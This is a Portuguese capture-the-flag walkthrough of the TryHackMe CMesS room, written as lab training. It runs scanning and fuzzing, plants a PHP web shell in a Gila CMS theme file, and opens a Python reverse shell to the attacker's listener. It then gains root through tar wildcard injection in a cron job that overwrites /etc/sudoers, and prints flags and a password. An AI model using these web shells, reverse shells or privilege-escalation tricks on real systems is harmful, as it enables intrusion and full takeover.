TryHackMe CMesS Room
Primeiros passos
É pedido que adicionemos o IP da máquina ao nosso arquivo /etc/hosts:
Please add
MACHINE_IP cmess.thm
to/etc/hosts
Please also note that this box does not require brute forcing!
Depois de adicionado, hora de rodar o Nmap para fins de reconhecimento:
sudo nmap -sC -sV cmess.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-01 07:48 -03
Nmap scan report for cmess.thm (10.10.215.52)
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.83 seconds
Descobrimos dois serviços, um SSH na porta 22 e um servidor Apache na porta 80 com Gila CMS.
Ao visitar o endereço cmess.thm somos recebidos com a página:
Primeira flag
Compromise this machine and obtain
user.txt
Hint:
Have you tried fuzzing for subdomains?
Esta dica é um ótimo ponto de partida. A partir disso, vamos efetuar um fuzzing atrás de subdiretórios, e em seguida, de subdomínios.
Utilizaremos esta wordlist para efetuar os testes com a ferramenta wfuzz.
Fuzzing de subdiretórios
Com os parâmetros:
- -w - wordlist
- -u - como agora estamos atrás de subdiretórios, a palavra “FUZZ” que indica ao software onde inserir o texto, será no final do endereço
- -c - output com cores
- –sc 200 - opção para somente mostrar os resultados de códigos de status HTTP 200
wfuzz -w wordlist.txt -u http://cmess.thm/FUZZ -c --sc 200
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://cmess.thm/FUZZ
Total requests: 959
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000006: 200 102 L 308 W 4078 Ch "1"
000000001: 200 107 L 290 W 3851 Ch "0"
000000003: 200 102 L 308 W 4078 Ch "01"
000000049: 200 92 L 266 W 3353 Ch "about"
000000059: 200 41 L 99 W 1580 Ch "admin"
000000083: 200 0 L 0 W 0 Ch "api"
000000133: 200 107 L 290 W 3851 Ch "blog"
000000434: 200 107 L 290 W 3851 Ch "index"
000000498: 200 41 L 99 W 1580 Ch "login"
000000722: 200 107 L 290 W 3851 Ch "search"
000000818: 200 109 L 292 W 3874 Ch "tag"
Total time: 21.13536
Processed Requests: 959
Filtered Requests: 948
Requests/sec.: 45.37419
Com este resultado, podemos dar destaque a login e admin.
Ao visitar o endereço cmess.thm/login:
Sobre a página admin, como não estamos logados, o website nos retorna à página de login.
Fuzzing de subdomínios:
Com relação aos parâmetros:
- -u - como agora estamos atrás de subdomínios, a palavra “FUZZ” que indica ao software onde inserir o texto vai sumir pois vamos definir isso em outro parâmetro
- -H “Host: FUZZ.cmess.thm” - especificando que o fuzzing será no início do endereço, atrás de subdomínios
- –hw 290 - limpar a saída, escondendo falsos positivos, pois, dependendo de como o website é configurado, a página irá sim retornar um código 200, porém mostrando somente um erro de “Não Encontrado”
- –hc 400 - também para limpar a saída, escondendo erros de “Bad Request”
wfuzz -w wordlist.txt -H "Host: FUZZ.cmess.thm" -u http://cmess.thm/ -c --hw 290 --hc 400
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://cmess.thm/
Total requests: 959
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000270: 200 30 L 104 W 934 Ch "dev"
Total time: 21.96167
Processed Requests: 959
Filtered Requests: 958
Requests/sec.: 43.66697
A saída nos diz que existe um dev.cmess.thm, o qual vamos adicionar no nosso /etc/hosts:
10.10.215.52 cmess.thm dev.cmess.thm
Ao visitar o endereço, vemos um log com credenciais expostas:
Logando:
Agora temos acesso à pagina admin:
Com isso, conseguimos saber a versão do Gila CMS: 1.10.9 Obtivemos acesso à um painel de admin, com direito até a um File Manager com adição, remoção e update de arquivos:
Iremos modificar o arquivo /themes/gila-blog/header.php atrás de obter um reverse shell através de um webshell:
[...]
<?php
system($_GET["cmd"]); # Retorna web shell que aceita input
view::stylesheet('lib/gila.min.css');
view::stylesheet('lib/font-awesome/css/font-awesome.min.css');
view::head()?>
<style>
[...]
Hora de testar o webshell, para isso vamos até cmess.thm e no final do endereço vamos adicionar “?cmd=ls”, para rodar o comando ls naquele webshell, que nos retornará uma listagem de diretório, bem no começo da página:
Decidi usar Python para obter este reverse shell, então para isso vamos descobrir a versão que temos instalada em nosso alvo rodando “?cmd=Python3 –version”:
Agora vamos abrir um listener em nossa máquina, que irá ficar esperando a conexão da máquina alvo.
nc -lnvvvp 6666
Listening on any address 6666
Os comandos que vamos inserir em nosso webshell agora serão um pouco mais robustos. Exemplo de reverse shell em Python com uma linha de código:
*Leitura recomendada: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Após inserir este input na página web, em nossa máquina já temos acesso ao reverse shell:
Connection from 10.10.215.52:49564
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/var/www/html
$ whoami
www-data
$
Subi o https://github.com/carlospolop/PEASS-ng em um servidor HTTP, baixei o linpeas.sh e concedi permissão de execução com “chmod +x linpeas.sh”.
Ao executar o arquivo, temos uma saída com inúmeras informações, porém, vamos dar ênfase a dois achados:
- /tmp/andre_backup.tar.gz
- /opt/.password.bak
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 161 Jun 1 06:38 /tmp/andre_backup.tar.gz
[...]
-rwxrwxrwx 1 root root 36 Feb 6 2020 /opt/.password.bak
[...]
Senha do usuário andre:
$ cat /opt/.password.bak
andres backup password
UQfsdCB7aAP6
Conectando via ssh:
ssh andre@cmess.thm
andre@cmess.thm's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Thu Feb 13 15:02:43 2020 from 10.0.0.20
andre@cmess:~$ ls
backup user.txt
Nossa primeira flag se encontra dentro do arquivo user.txt:
andre@cmess:~$ cat user.txt
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}
Segunda flag
Escalate your privileges and obtain root.txt
Lembra do arquivo /tmp/andre_backup.tar.gz? Cron é uma utilidade no mundo Linux para automatização de tarefas, no caso de nossa máquina alvo, analisando o /etc/crontab vemos que existe um backup do diretório /home/andre/backup sendo feito para aquele arquivo que achamos com o linpeas.sh anteriormente. Aqui, temos um exemplo de uma Wildcard Injection:
andre@cmess:~/backup$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
Por que isso caracteriza uma vunerabilidade de Wildcard Injection?
A última entrada do output de nosso cat nos diz que: A cada 2 minutos, através do usuário root, TODOS (indicado pelo asterísco) os arquivos na pasta /home/andre/backup são comprimidos em um tar, que então é enviado até o diretório /tmp/
Podemos explorar isso e obter privilégio root inserindo aqui um código malicioso que irá remover a necessidade do usuário andre de fornecer uma senha ao executar o programa sudo. Este código será executado pelo nosso cron:
andre@cmess:~/backup$ echo 'echo "andre ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > safeprogram.sh
andre@cmess:~/backup$ echo "" > "--checkpoint-action=exec=sh safeprogram.sh"
andre@cmess:~/backup$ echo "" > --checkpoint=1
andre@cmess:~/backup$ ls -l
total 16
-rw-rw-r-- 1 andre andre 1 Jun 1 07:59 --checkpoint=1
-rw-rw-r-- 1 andre andre 1 Jun 1 07:59 --checkpoint-action=exec=sh safeprogram.sh
-rwxr-x--- 1 andre andre 51 Feb 9 2020 note
-rw-rw-r-- 1 andre andre 53 Jun 1 07:58 safeprogram.sh
Passado dois minutos, este é o retorno de nosso sudo -l:
andre@cmess:~/backup$ sudo -l
User andre may run the following commands on cmess:
(root) NOPASSWD: ALL
E a partir disso, conseguimos root sem sequer inserir a senha:
andre@cmess:~/backup$ sudo bash
root@cmess:~/backup#
Na pasta /root encontramos nossa segunda flag:
root@cmess:~/backup# cd /root
root@cmess:/root# ls
root.txt
root@cmess:/root# cat root.txt
thm{9f85b7fdeb2cf96985bf5761a93546a2}
root@cmess:/root#